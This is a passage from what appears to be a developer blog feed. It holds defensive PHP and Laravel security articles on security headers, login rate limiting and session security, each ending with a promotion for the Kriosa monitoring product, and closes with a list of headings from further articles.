        "base-uri 'self'",
        "form-action 'self'",
        "object-src 'none'",
        "frame-ancestors 'none'",
    ]);

    $enableHsts = $options['hsts'] ?? false;

    header('X-Frame-Options: DENY');
    header('X-Content-Type-Options: nosniff');
    header('Referrer-Policy: strict-origin-when-cross-origin');
    header('Permissions-Policy: camera=(), microphone=(), geolocation=(), payment=()');
    header('Content-Security-Policy: ' . $csp);

    if ($enableHsts) {
        header('Strict-Transport-Security: max-age=31536000; includeSubDomains');
    }
}

HSTS is disabled by default — enable it only after confirming your entire domain is served over HTTPS.

In a bootstrap file:

<?php
require_once 'vendor/autoload.php';

setSecurityHeaders(['hsts' => true]); // only if fully HTTPS

session_set_cookie_params([
    'secure'   => true,
    'httponly' => true,
    'samesite' => 'Lax',
]);
session_start();

At the web server level — Nginx:

server {
    add_header X-Frame-Options "DENY" always;
    add_header X-Content-Type-Options "nosniff" always;
    add_header Referrer-Policy "strict-origin-when-cross-origin" always;
    add_header Permissions-Policy "camera=(), microphone=(), geolocation=(), payment=()" always;
    add_header Strict-Transport-Security "max-age=31536000; includeSubDomains" always;
    add_header Content-Security-Policy "default-src 'self'; script-src 'self'; style-src 'self'; img-src 'self' data:; font-src 'self'; base-uri 'self'; form-action 'self'; object-src 'none'; frame-ancestors 'none'" always;
}

Apache:

<IfModule mod_headers.c>
    Header always set X-Frame-Options "DENY"
    Header always set X-Content-Type-Options "nosniff"
    Header always set Referrer-Policy "strict-origin-when-cross-origin"
    Header always set Permissions-Policy "camera=(), microphone=(), geolocation=(), payment=()"
    Header always set Strict-Transport-Security "max-age=31536000; includeSubDomains"
    Header always set Content-Security-Policy "default-src 'self'; script-src 'self'; style-src 'self'; img-src 'self' data:; font-src 'self'; base-uri 'self'; form-action 'self'; object-src 'none'; frame-ancestors 'none'"
</IfModule>

Web server configuration is the most reliable approach for legacy PHP applications without a central request entry point.

Implementation in Laravel

Create the middleware:

php artisan make:middleware SecurityHeaders

namespace App\Http\Middleware;

use Closure;
use Illuminate\Http\Request;
use Symfony\Component\HttpFoundation\Response;

class SecurityHeaders
{
    public function handle(Request $request, Closure $next): Response
    {
        $response = $next($request);

        $response->headers->set('X-Frame-Options', 'DENY');
        $response->headers->set('X-Content-Type-Options', 'nosniff');
        $response->headers->set('Referrer-Policy', 'strict-origin-when-cross-origin');
        $response->headers->set('Permissions-Policy', 'camera=(), microphone=(), geolocation=(), payment=()');
        $response->headers->set('Strict-Transport-Security', 'max-age=31536000; includeSubDomains');
        $response->headers->set(
            'Content-Security-Policy',
            config('security.csp', implode('; ', [
                "default-src 'self'",
                "script-src 'self'",
                "style-src 'self'",
                "img-src 'self' data:",
                "font-src 'self'",
                "base-uri 'self'",
                "form-action 'self'",
                "object-src 'none'",
                "frame-ancestors 'none'",
            ]))
        );

        return $response;
    }
}

Register it — Laravel 11 and later:

// bootstrap/app.php
->withMiddleware(function (Middleware $middleware) {
    $middleware->append(\App\Http\Middleware\SecurityHeaders::class);
})

Laravel 10 and earlier:

// app/Http/Kernel.php
protected $middleware = [
    \App\Http\Middleware\SecurityHeaders::class,
];

Make CSP configurable:

// config/security.php
return [
    'csp' => env('CSP_POLICY', implode('; ', [
        "default-src 'self'",
        "script-src 'self'",
        "style-src 'self'",
        "img-src 'self' data:",
        "font-src 'self'",
        "base-uri 'self'",
        "form-action 'self'",
        "object-src 'none'",
        "frame-ancestors 'none'",
    ])),
    'hsts' => env('ENABLE_HSTS', false),
];

API routes and security headers:

Do not exclude API routes from security headers automatically. Decide which headers are meaningful for each response type. X-Frame-Options and frame-ancestors have limited relevance for JSON API responses — X-Content-Type-Options and CSP remain valuable for all response types.

Testing Your Security Headers

securityheaders.com — shows which headers are present and what is missing
Mozilla Observatory at observatory.mozilla.org — comprehensive security scan
Browser DevTools — Network tab, select any request, Headers section

A high scanner score does not prove your application is secure. Headers cannot replace secure authentication, authorization, input validation, output encoding, dependency management, or server configuration. Use scanner scores as a signal — not as evidence of security.

The Security Headers Checklist

For plain PHP:

Call your security headers function before any output
Use a front controller or web server config to ensure every response gets headers
Start CSP in report-only mode before enforcing
Enable HSTS only after confirming all subdomains are HTTPS
Avoid 'unsafe-inline' in CSP — use nonces or hashes for inline scripts
Do not add X-XSS-Protection — it is deprecated
Test with securityheaders.com as a baseline check after deployment

For Laravel:

Create a global middleware that runs on every request
Register it in the global middleware stack
Make CSP configurable through environment variables
Decide per response type which headers are relevant — do not exclude API routes automatically
Enable HSTS only in production where all subdomains are HTTPS
Avoid 'unsafe-inline' in CSP
Do not add X-XSS-Protection
Use scanner scores as signals not as proof of security

Where Kriosa Fits

Security headers protect the browser after a response is generated. They are a browser-enforcement layer.

Kriosa operates at a different layer entirely.

Kriosa analyzes incoming requests for suspicious reconnaissance and attack patterns — automated scanning, repeated probing, malicious payloads, and other behavioral signals that appear before or alongside an attempted exploit. These request patterns are surfaced in the XAI dashboard with an explanation of what was detected and why it was flagged.

The two controls solve different problems. Security headers harden how the browser handles your responses. Kriosa monitors what is happening at the request layer before a response is ever generated.

Production PHP applications are already running with Kriosa in front of them.

Prolify — a design-proofing platform where designers share work with clients for review and approval. Every session is a trust boundary. A compromised login means a client’s unreleased creative work is exposed to the wrong person.

belle-full — a PHP application built for bakers, handling real customer orders and business data. Secured with Kriosa from day one not retrofitted after a scare, built with protection as a foundation.
Try it free: kriosa.com
Install it: composer require kriosa-ai/kriosa-php

Documentation: kriosa Docs.

Built by a developer from Cameroon, for developers who want to understand their security — not just outsource it.

The Series So Far

Article 1 : What your PHP logs actually look like during a SQL injection attack
Article 2 : Why URL encoding can break PHP security checks
Article 3 : The decode bomb problem — why unlimited URL decoding can be its own vulnerability
Article 4 : Parameterized queries — the only real fix for SQL injection
Article 5: XSS prevention in Laravel and why {!! !!} is the line between safe and hacked
Article 6: How attackers enumerate your Laravel app before exploiting it
Article 7: File upload security in PHP and Laravel
Article 8 : Path traversal in PHP — how ../ escapes your application
Article 9 : Command injection in PHP — when exec() becomes an attack surface
Article 10: Broken access control in Laravel — why being logged in is not enough
Article 11: Secrets in Laravel — why .env is only the beginning
Article 12: Session security in PHP — what most developers get wrong
Article 13 : Rate limiting in Laravel and PHP — how to stop brute force before it starts
Article 14: This article — security headers in PHP and Laravel

Rate Limiting in Laravel and PHP — How to Stop Brute Force Before It Starts

Nchiminyi — Founder, Kriosa — Fri, 14 Aug 2026 07:00:00 +0000

ORIGINALLY PUBLISHED ON MEDIUM

This is the thirteenth article in a series on PHP and Laravel application security.

So far we have covered:

Detecting SQL injection attempts in PHP logs
Why URL encoding blinds most PHP security checks
The decode bomb problem with unlimited URL decoding
Why parameterized queries are the only real fix for SQL injection
XSS prevention in Laravel and why {!! !!} is the line between safe and hacked
How attackers enumerate your Laravel app before exploiting it
File upload security — the file that isn't what it claims to be
Path traversal in PHP — how ../ escapes your application
Command injection in PHP — when exec() becomes an attack surface
Broken access control in Laravel — why being logged in is not enough
Secrets in Laravel — why .env is only the beginning
Session security in PHP — what most developers get wrong

Every article in this series follows the same principle: understand the attack before you try to stop it.

Brute force attacks are not sophisticated. They do not require exploiting a vulnerability in your code. They require only that your application accepts unlimited login attempts and most PHP applications do.

What Brute Force Actually Is

A brute force attack is when an attacker tries many passwords against a login form hoping one works. Modern brute force attacks are fully automated. A script sends login requests as fast as your server will accept them.

Simple brute force tries every possible password combination. Slow but exhaustive.

Dictionary attacks try a list of common passwords password123, qwerty, admin, letmein. Fast and effective because most users choose predictable passwords.

Credential stuffing uses username and password combinations leaked from other breached websites. If a user reused their password from a previously breached service the attacker gets in immediately without guessing anything. This is the most effective modern login attack because it exploits human behavior rather than application weaknesses.

All three share one characteristic they require many requests. Rate limiting makes all three significantly harder.

Rate Limiting in Plain PHP

PHP has no built-in rate limiting. You implement it using a storage mechanism to track attempts.

Session-based — for demonstration only:

session_start();

function checkRateLimit(int $maxAttempts, int $windowSeconds): bool
{
    $key = 'login_attempts';
    $windowKey = 'login_window_start';
    $now = time();

    if (!isset($_SESSION[$windowKey]) ||
        ($now - $_SESSION[$windowKey]) > $windowSeconds) {
        $_SESSION[$windowKey] = $now;
        $_SESSION[$key] = 0;
    }

    $_SESSION[$key]++;

    return $_SESSION[$key] <= $maxAttempts;
}

if (!checkRateLimit(5, 60)) {
    http_response_code(429);
    header('Retry-After: 60');
    die('Too many attempts. Please try again in 60 seconds.');
}

Session-based rate limiting is not meaningful brute-force protection. An attacker can create or discard sessions repeatedly to reset the counter. Automated tools that do not maintain sessions bypass it entirely. Use it only as a demonstration not as real protection.

Database-based — reliable for moderate traffic:

// Required table
// CREATE TABLE login_attempts (
//     id INT AUTO_INCREMENT PRIMARY KEY,
//     identifier VARCHAR(255) NOT NULL,
//     attempted_at INT NOT NULL,
//     INDEX idx_identifier_time (identifier, attempted_at)
// );

function checkRateLimitDb(
    PDO $pdo,
    string $identifier,
    int $maxAttempts,
    int $windowSeconds
): bool {
    $now = time();
    $windowStart = $now - $windowSeconds;

    $stmt = $pdo->prepare('
        SELECT COUNT(*)
        FROM login_attempts
        WHERE identifier = ?
        AND attempted_at > ?
    ');
    $stmt->execute([$identifier, $windowStart]);
    $count = (int) $stmt->fetchColumn();

    if ($count >= $maxAttempts) {
        return false;
    }

    $stmt = $pdo->prepare('
        INSERT INTO login_attempts (identifier, attempted_at)
        VALUES (?, ?)
    ');
    $stmt->execute([$identifier, $now]);

    return true;
}

$ip = $_SERVER['REMOTE_ADDR'] ?? '0.0.0.0';

if (!checkRateLimitDb($pdo, 'login:ip:' . $ip, 5, 60)) {
    http_response_code(429);
    header('Retry-After: 60');
    die('Too many login attempts. Please try again in 60 seconds.');
}

Redis-based — the production standard:

function checkRateLimitRedis(
    Redis $redis,
    string $identifier,
    int $maxAttempts,
    int $windowSeconds
): bool {
    $key = 'rate_limit:' . $identifier;
    $attempts = $redis->incr($key);

    if ($attempts === 1) {
        $redis->expire($key, $windowSeconds);
    }

    return $attempts <= $maxAttempts;
}

$redis = new Redis();
$redis->connect('127.0.0.1', 6379);

$ip = $_SERVER['REMOTE_ADDR'] ?? '0.0.0.0';
$email = strtolower(trim($_POST['email'] ?? ''));

$ipAllowed    = checkRateLimitRedis($redis, 'login:ip:' . $ip, 10, 60);
$emailAllowed = checkRateLimitRedis($redis, 'login:email:' . $email, 5, 300);

if (!$ipAllowed || !$emailAllowed) {
    http_response_code(429);
    header('Retry-After: 60');
    die('Too many attempts. Please try again later.');
}

Note on atomicity: the INCR followed by EXPIRE sequence is not a single atomic operation. In rare failure scenarios the key could be incremented without its expiry being set. For critical production implementations use a Redis transaction or Lua script to make the operation fully atomic.

Rate Limiting by Multiple Factors

Rate limiting only by IP has a weakness botnets distribute attempts across thousands of addresses, each making only a few requests. Rate limiting by multiple factors closes this gap:

$ipAllowed       = checkRateLimitRedis($redis, 'login:ip:' . $ip, 10, 60);
$emailAllowed    = checkRateLimitRedis($redis, 'login:email:' . $email, 5, 300);
$combinedAllowed = checkRateLimitRedis($redis, 'login:combined:' . $ip . ':' . $email, 3, 60);

if (!$ipAllowed || !$emailAllowed || !$combinedAllowed) {
    http_response_code(429);
    header('Retry-After: 60');
    die('Too many attempts. Please try again later.');
}

By IP — stops automated attacks from single sources
By email — prevents rotating IPs to attack one account
By IP plus email — the most targeted limit for a specific attacker targeting a specific account

Progressive Delays

Instead of hard blocking after a threshold progressive delays increase the wait time after each failed attempt:

$delays = [0, 0, 0, 2, 5, 10, 30, 60];

$attempts = (int) ($redis->get('login:attempts:' . $ip) ?: 0);
$delay = $delays[min($attempts, count($delays) - 1)];

if ($delay > 0) {
    sleep($delay);
}

Legitimate users who mistype their password experience a small wait but are not hard blocked. Automated attackers are slowed dramatically because every attempt costs them time.

Rate Limiting in Laravel

Laravel has a built-in rate limiting system that handles most of what you would build manually.

The throttle middleware — simplest approach:

Route::post('/login', [AuthController::class, 'login'])
    ->middleware('throttle:5,1'); // 5 attempts per 1 minute per IP

This is the minimum. For a production login endpoint you need more control.

Named rate limiters — the correct production approach:

use Illuminate\Cache\RateLimiting\Limit;
use Illuminate\Support\Facades\RateLimiter;

RateLimiter::for('login', function (Request $request) {
    return [
        Limit::perMinute(5)->by($request->ip()),
        Limit::perMinutes(5, 10)->by($request->input('email')),
    ];
});

RateLimiter::for('api', function (Request $request) {
    return $request->user()
        ? Limit::perMinute(60)->by($request->user()->id)
        : Limit::perMinute(10)->by($request->ip());
});

RateLimiter::for('sensitive', function (Request $request) {
    return [
        Limit::perMinute(3)->by($request->ip()),
        Limit::perHour(10)->by($request->ip()),
    ];
});

Route::post('/login', [AuthController::class, 'login'])
    ->middleware('throttle:login');

Route::post('/password/reset', [PasswordController::class, 'send'])
    ->middleware('throttle:sensitive');

Route::middleware('throttle:api')->group(function () {
    Route::get('/user', [UserController::class, 'show']);
    Route::apiResource('invoices', InvoiceController::class);
});

Manual rate limiting in controllers — maximum control:

use Illuminate\Support\Facades\RateLimiter;

public function login(Request $request)
{
    $key = 'login:' . $request->ip() . ':' . $request->input('email');

    if (RateLimiter::tooManyAttempts($key, 5)) {
        $seconds = RateLimiter::availableIn($key);

        return response()->json([
            'message' => "Too many attempts. Try again in {$seconds} seconds."
        ], 429);
    }

    if (!Auth::attempt($request->only('email', 'password'))) {
        RateLimiter::hit($key, 60);

        return response()->json(['message' => 'Invalid credentials.'], 401);
    }

    RateLimiter::clear($key);
    $request->session()->regenerate();

    return response()->json(['message' => 'Authenticated.']);
}

Four methods to understand:

RateLimiter::hit($key, $decay) — records an attempt with a decay time in seconds
RateLimiter::tooManyAttempts($key, $maxAttempts) — checks if the limit is exceeded
RateLimiter::clear($key) — resets the counter after successful login so a legitimate user starts fresh
RateLimiter::availableIn($key) — returns seconds until the limit resets for user-friendly error messages

Redis-backed rate limiting for production:

# .env
CACHE_DRIVER=redis
REDIS_HOST=127.0.0.1
REDIS_PORT=6379

With Redis as the cache driver Laravel's rate limiting is atomic, fast, and automatically distributed across multiple application servers.

What to Rate Limit

Always — strict limits:

Login endpoints
Password reset requests
Registration forms
Email verification resends
OTP and 2FA code submission
Account deletion confirmation

Moderate limits:

API endpoints for authenticated users
Search endpoints
File upload endpoints

Generous limits:

Public API endpoints
Contact forms
Comment submission

Responding to Rate Limit Violations

How you respond matters as much as whether you rate limit:

// Wrong — reveals too much
return response()->json([
    'error' => 'You have made 5 failed login attempts for user@example.com'
], 429);

// Correct — generic with retry timing
return response()->json([
    'message' => 'Too many attempts. Please try again later.',
    'retry_after' => $seconds
], 429);

Never reveal which factor triggered the rate limit. Never reveal how many attempts were made. Never reveal whether the account exists. Generic messages protect against attackers using rate limit responses to enumerate valid accounts.

The Rate Limiting Checklist

For plain PHP:

Use Redis for rate limiting in production not sessions
Rate limit by IP address and by username separately
Be aware that INCR followed by EXPIRE is not atomic use transactions for critical implementations
Set the Retry-After header on every 429 response
Clean up old rate limit data automatically using Redis expiry
Implement progressive delays for a better legitimate user experience
Log rate limit violations for security monitoring

For Laravel:

Use named rate limiters for complex rules
Rate limit by both IP and email on login endpoints
Use RateLimiter::clear() to reset the counter on successful login
Set CACHE_DRIVER=redis in production
Rate limit password reset, registration, OTP, and 2FA endpoints
Never reveal which rate limit factor was triggered in error messages
Check your Laravel version for the correct location of rate limiter configuration

Where Kriosa Fits

Rate limiting at the application layer controls how many requests reach your login logic. But it has gaps.

A credential stuffing attack where each compromised credential is tried only once never triggers a rate limit because one attempt per account is never flagged. An attacker using a large botnet can stay under per-IP rate limits while still making thousands of attempts across your user base.

These are the attacks that application-level rate limiting cannot see because each individual request looks legitimate.

Kriosa monitors incoming request patterns for behavioral signals that individual rate limiters cannot surface flagging suspicious activity in the XAI dashboard with an explanation of what was detected and why.
production PHP applications are already running with Kriosa in front of them.

Prolify — a design-proofing platform where designers share work with clients for review and approval. Every session is a trust boundary. A compromised login means a client's unreleased creative work is exposed to the wrong person.

belle full — a PHP application built for bakers, handling real customer orders and business data. Secured with Kriosa from day one not retrofitted after a scare, built with protection as a foundation.

Both applications implement application-level rate limiting on their login and sensitive endpoints. That handles the obvious attacks a single IP hammering a login form, a script cycling through common passwords.

What rate limiting cannot see is the subtler pattern. One attempt against one account from one IP looks like a normal failed login. One thousand attempts spread across one thousand accounts from one thousand IPs each individually normal looks like nothing to a rate limiter. To Kriosa it looks like a coordinated attack.

That is the layer Prooflify and Belle-Full have that rate limiting alone cannot provide. Visibility into what is happening across the application not just at each individual endpoint.

Rate limiting controls the rate. Kriosa helps you understand the pattern.

Try it free: kriosa.com
Install it: composer require kriosa-ai/kriosa-php

Documentation: kriosa Docs.

Built by a developer from Cameroon, for developers who want to understand their security — not just outsource it.
The Series So Far

Article 1: What your PHP logs actually look like during a SQL injection attack
Article 2: Why URL encoding can break PHP security checks
Article 3: The decode bomb problem — why unlimited URL decoding can be its own vulnerability
Article 4: Parameterized queries — the only real fix for SQL injection
Article 5: XSS prevention in Laravel and why {!! !!} is the line between safe and hacked
Article 6: How attackers enumerate your Laravel app before exploiting it
Article 7: File upload security in PHP and Laravel
Article 8: Path traversal in PHP — how ../ escapes your application
Article 9: Command injection in PHP — when exec() becomes an attack surface
Article 10: Broken access control in Laravel — why being logged in is not enough
Article 11: Secrets in Laravel — why .env is only the beginning
Article 12: Session security in PHP — what most developers get wrong
Article 13: This article — rate limiting in Laravel and PHP and how to stop brute force before it starts

Session Security in PHP — What Most Developers Get Wrong

Nchiminyi — Founder, Kriosa — Tue, 11 Aug 2026 07:00:00 +0000

ORIGINALLY PUBLISHED ON MEDIUM
The session ID is the key to your user's account. Here is every way attackers steal it and how to stop them.

This is the twelfth article in a series on PHP and Laravel application security.

So far we have covered:

Detecting SQL injection attempts in PHP logs
Why URL encoding blinds most PHP security checks
The decode bomb problem with unlimited URL decoding
Why parameterized queries are the only real fix for SQL injection
XSS prevention in Laravel and why {!! !!} is the line between safe and hacked
How attackers enumerate your Laravel app before exploiting it
File upload security — the file that isn't what it claims to be
Path traversal in PHP — how ../ escapes your application
Command injection in PHP — when exec() becomes an attack surface
Broken access control in Laravel — why being logged in is not enough
Secrets in Laravel — why .env is only the beginning

Every article in this series follows the same principle: understand the attack before you try to stop it.

Session security is different from most vulnerabilities in this series. SQL injection, XSS, and path traversal attack your application directly. Session attacks attack the identity layer the mechanism that proves who a user is after they have authenticated. Get it wrong and it does not matter how secure the rest of your application is. An attacker with a valid session ID is indistinguishable from a legitimate user.

How PHP Sessions Work

When a user visits your PHP application PHP creates a session:

PHP generates a cryptographically random session ID
PHP stores that session ID in a cookie on the user's browser — by default called PHPSESSID
PHP stores session data on the server keyed by that session ID
On every subsequent request the browser sends the session cookie automatically
PHP reads the session ID from the cookie and restores the session

The session ID is the key to everything. Whoever holds that session ID can impersonate the user it belongs to. This is what every session attack targets.

Attack 1 — Session Hijacking

Session hijacking is when an attacker steals a valid session ID and uses it to impersonate the legitimate user.

Method 1 — XSS:

If your application has an XSS vulnerability an attacker injects JavaScript that reads the session cookie and sends it to their server. This is why the HttpOnly cookie attribute exists it prevents JavaScript from reading cookies entirely.

Method 2 — Network interception:

If your application runs over HTTP an attacker on the same network can intercept the session cookie from unencrypted traffic. This is why the Secure cookie attribute exists it tells the browser to only send the cookie over HTTPS.

Method 3 — Session IDs in URLs:

https://yoursite.com/dashboard?PHPSESSID=abc123def456

URL-based session IDs appear in server logs, browser history, and referrer headers. Stealing them requires no technical attack just access to a log file.

Method 4 — Predictable session IDs:

If session IDs are generated with weak randomness an attacker can predict or brute force them. PHP's default session ID generation is cryptographically secure — but custom session ID generation in older applications often is not.

Attack 2 — Session Fixation

The attacker does not steal a session ID they force the victim to use one the attacker already knows.

The attack sequence:

Attacker obtains a valid session ID: abc123
Attacker tricks the victim into using that session ID: https://yoursite.com/login?PHPSESSID=abc123
Victim logs in using session ID abc123
If your application does not generate a new session ID after login, session abc123 is now authenticated
Attacker uses session ID abc123 — which they have known all along to access the victim's account

The victim logged in successfully. The attacker never knew their password. The attack worked because the session ID did not change after authentication.

PHP Session Configuration A Production Baseline

; php.ini

; Never accept session IDs in URLs only in cookies
session.use_only_cookies = 1

; Prevent JavaScript from reading session cookies
session.cookie_httponly = 1

; Only send session cookies over HTTPS
session.cookie_secure = 1

; Restrict cookie to same-site requests
session.cookie_samesite = Lax

; Reject unrecognized session IDs
session.use_strict_mode = 1

; Set a reasonable session lifetime
session.gc_maxlifetime = 1440

The two most important settings:

session.use_only_cookies = 1 prevents PHP from accepting session IDs in URLs.

session.use_strict_mode = 1 rejects session IDs that PHP did not create.

Together these two settings eliminate the most common session fixation attack vector at the configuration level.

Fixing Session Fixation — Session Regeneration

Configuration alone is not enough. Your application must regenerate the session ID after every successful login:

session_start();

if ($credentialsAreValid) {
    // Regenerate the session ID and delete the old session data
    session_regenerate_id(true);

    // Now set authenticated session data
    $_SESSION['user_id'] = $user->id;
    $_SESSION['authenticated'] = true;
}

The true parameter deletes the old session data on the server. This removes the window an attacker could exploit if they had the previous session ID.

Also regenerate on privilege changes:

session_regenerate_id(true);
$_SESSION['role'] = 'admin';

Cookie Security Attributes

Every session cookie requires three security attributes.

HttpOnly — prevents JavaScript from reading the cookie:

session_set_cookie_params(['httponly' => true]);

Secure — HTTPS only:

session_set_cookie_params(['secure' => true]);

SameSite — controls cross-site cookie sending:

session_set_cookie_params(['samesite' => 'Lax']);

Lax provides meaningful CSRF protection while preserving most legitimate use cases. Strict is strongest but breaks flows like clicking an external link into an authenticated state. None always sends the cookie only for intentional cross-site use cases and only with Secure.

The complete secure session setup:

// Call before session_start()
session_set_cookie_params([
    'lifetime' => 0,        // Expires when browser closes
    'path'     => '/',
    'domain'   => '',
    'secure'   => true,     // HTTPS only
    'httponly' => true,     // No JavaScript access
    'samesite' => 'Lax',   // CSRF protection
]);

session_start();

Session Storage Security

By default PHP stores session data in files in /tmp. On shared hosting other tenants may be able to read your session files.

Database storage:

session_set_save_handler(new DatabaseSessionHandler($pdo), true);
session_start();

Redis:

session.save_handler = redis
session.save_path = "tcp://127.0.0.1:6379"

Database sessions give you the ability to invalidate specific sessions useful when you need to force a logout for a compromised account.

Laravel Session Configuration

Laravel abstracts PHP sessions behind its own session system. Configuration lives in config/session.php.

The critical production settings:

// config/session.php

// Encrypt session data at rest
'encrypt' => true,

// HTTPS only session cookie
'secure' => env('SESSION_SECURE_COOKIE', true),

// Prevent JavaScript from reading the cookie
'http_only' => true,

// CSRF protection
'same_site' => 'lax',

// Session lifetime in minutes
'lifetime' => env('SESSION_LIFETIME', 120),

// Session storage driver
'driver' => env('SESSION_DRIVER', 'redis'),

'encrypt' => true encrypts all session data using your APP_KEY. Even if an attacker gains access to your session storage they cannot read the contents without the encryption key.

Never use the file driver in production on shared hosting. Use database or redis.

Session Regeneration in Laravel

Laravel automatically regenerates the session ID on login when you use Auth::attempt() or Auth::login(). This is built into the framework.

If you build custom authentication or manually change privileges regenerate explicitly:

// Regenerate session ID — keep existing data
$request->session()->regenerate();

// Regenerate and invalidate the old session completely
$request->session()->invalidate();
$request->session()->regenerateToken();

regenerateToken() regenerates the CSRF token stored in the session. Call this alongside session regeneration after login CSRF token fixation mirrors session fixation and should be addressed at the same time.

Absolute Session Timeout

Idle timeout alone is not enough. A user who stays active can maintain a session indefinitely. Absolute timeout forces re-authentication after a fixed period regardless of activity:

$_SESSION['login_time'] = time();

$absoluteTimeout = 8 * 60 * 60; // 8 hours

if (time() - $_SESSION['login_time'] > $absoluteTimeout) {
    session_destroy();
    header('Location: /login?reason=timeout');
    exit;
}

In Laravel:

// config/session.php
'lifetime' => 480, // 8 hours in minutes

For applications handling sensitive data consider shorter absolute timeouts.

Secure Logout

Always completely destroy the session on logout not just unset session variables:

// Wrong — session ID still valid
unset($_SESSION['user_id']);

// Correct
session_start();
$_SESSION = [];

if (ini_get('session.use_cookies')) {
    $params = session_get_cookie_params();
    setcookie(
        session_name(), '',
        time() - 42000,
        $params['path'],
        $params['domain'],
        $params['secure'],
        $params['httponly']
    );
}

session_destroy();

In Laravel the correct logout sequence is three steps:

Auth::logout();
$request->session()->invalidate();
$request->session()->regenerateToken();
return redirect('/');

Each step matters:

Auth::logout() clears authentication state and removes the user from the session
session()->invalidate() destroys the session and generates a new session ID
session()->regenerateToken() regenerates the CSRF token

Missing any of these leaves the old session potentially exploitable.

The Session Security Checklist

For plain PHP:

session.use_only_cookies = 1 — never accept session IDs in URLs
session.use_strict_mode = 1 — reject unrecognized session IDs
session.cookie_httponly = 1 — prevent JavaScript from reading cookies
session.cookie_secure = 1 — HTTPS only
session.cookie_samesite = Lax — CSRF protection
Call session_regenerate_id(true) after every successful login
Call session_regenerate_id(true) after every privilege change
Destroy the session completely on logout not just unset variables
Use database or Redis session storage in production
Implement absolute session timeout for sensitive applications

For Laravel:

'secure' => true in config/session.php
'http_only' => true in config/session.php
'encrypt' => true in config/session.php
'same_site' => 'lax' in config/session.php
Use database or redis session driver in production
Call all three logout methods on every logout
Never build custom authentication that skips session regeneration after login

Kriosa in Production Real Applications, Real Protection

The principles in this article are not hypothetical. Two production PHP applications are already running with Kriosa in front of them.

Prooflify — a design-proofing platform with client review workflows. Designers share work with clients, clients leave feedback, and the platform manages approval states. Every client session is a trust boundary the wrong session in the wrong hands could expose a client's unreleased creative work.

belle full — a production PHP application for bakers, secured with Kriosa from day one. It handles customer orders, client data, and business operations for a real business where a session breach means a real person's data and livelihood are at risk.

Both applications have Kriosa monitoring every incoming request before it reaches the application layer.

Where Kriosa Fits

Configure your sessions correctly first. Then put Kriosa in front of your application to detect suspicious requests and behavior that your application code alone cannot see.

Session attacks leave behavioral traces before they succeed requests containing session IDs in URL parameters on applications that should only use cookies, authenticated sessions appearing from unexpected locations, rapid requests cycling through session ID values that may indicate probing activity.

These are behavioral signals a security monitoring layer can detect and surface before a breach occurs.

Kriosa sits in front of your application and gives you visibility into suspicious requests before they reach your code with the XAI dashboard explaining exactly what was detected and why it was flagged.

Try it free: kriosa.com
Install it: composer require kriosa-ai/kriosa-php

Built by a developer, for developers who want to understand their security — not just outsource it.

The Series So Far

Article 1: What your PHP logs actually look like during a SQL injection attack
Article 2: Why URL encoding can break PHP security checks
Article 3: The decode bomb problem — why unlimited URL decoding can be its own vulnerability
Article 4: Parameterized queries — the only real fix for SQL injection
Article 5: XSS prevention in Laravel and why {!! !!} is the line between safe and hacked
Article 6: How attackers enumerate your Laravel app before exploiting it
Article 7: File upload security in PHP and Laravel
Article 8: Path traversal in PHP — how ../ escapes your application
Article 9: Command injection in PHP — when exec() becomes an attack surface
Article 10: Broken access control in Laravel — why being logged in is not enough
Article 11: Secrets in Laravel — why .env is only the beginning
Article 12: This article — session security in PHP and what most developers get wrong

DEV Community: Nchiminyi — Founder, Kriosa

JWT Vulnerabilities: The Auth Bugs Hiding Behind a Green Checkmark

Why JWTs get trusted more than they should

The anatomy, quickly

Bug #1: Accepting the none algorithm

Fix

Bug #2: Algorithm confusion — RS256 tokens verified as HS256

Fix

Bug #3: Weak, guessable, or brute-forceable HMAC secrets

Fix

Bug #4: Missing or ignored expiration

Bug #5: Missing issuer and audience validation

Fix

Bug #6: Unsafe kid handling

Fix

What your JWT library already does for you

What libraries cannot fix

Detection as a second layer

See It Blocked: Try the Live Sandbox

What Is Kriosa?

How Kriosa Can Help Detect Suspicious JWT Activity

Prevention Comes First

Detection Adds Another Layer

JWT Security Checklist

Try Kriosa

SSRF: The Vulnerability Hiding in Every Paste a URL Feature

Why this is everywhere now

The attack narrative

Where SSRF actually hides

Why the obvious fixes don't work

Building it correctly

Detection, as a second layer

What Is Kriosa?

How Kriosa Can Help Detect Suspicious SSRF Activity

Prevention Comes First

Detection Adds Another Layer

Why Kriosa?

SSRF Prevention Checklist

Try Kriosa

The Password Reset Flow: Where Good PHP & Laravel Developers Ship Bad Security

The flow, in theory

Bug #1: The predictable token

Bug #2: Storing the token in plaintext

Bug #3: Comparing tokens with == instead of hash_equals()

Bug #4: No expiration, or expiration checked wrong

Bug #5: Token reuse — forgetting the token is a one-time credential

Bug #6: Host header injection in the reset link itself

Bug #7: Enumeration and abuse — two separate problems, one endpoint

What Laravel already does for you

Putting it together

What Is Kriosa?

How Kriosa Can Help Detect Suspicious Reset-Flow Activity

Prevention Comes First

Detection Adds Another Layer

Why Kriosa?

Password Reset Flow Security Checklist

Try Kriosa

Defense in Depth — How Every Layer in This Series Works Together

Why One Layer Is Never Enough

The Attack Journey — What Each Layer Stops

The Complete Layer Map

The Checklist — Everything in One Place

What This Series Covers

The Layer This Series Cannot Replace

What Comes Next

A Final Word

The Complete Series

Insecure Deserialization in PHP — When Your Cache Becomes an Attack Surface

PHP Type Juggling — When 0 Equals "admin"

The Two Comparison Operators

The Surprising Truth About PHP 7

The Magic Hash Vulnerability

Type Juggling in switch Statements

Type Juggling in in_array()

Type Juggling in JSON API Endpoints

hash_equals() — The Correct Token Comparison

The Safe Authentication Pattern

Type Juggling in Laravel

Auditing Your Codebase

The Type Juggling Checklist

Bug #1: Accepting the `none` algorithm

Bug #6: Unsafe `kid` handling

Bug #3: Comparing tokens with `==` instead of `hash_equals()`

Type Juggling in `in_array()`

`hash_equals()` — The Correct Token Comparison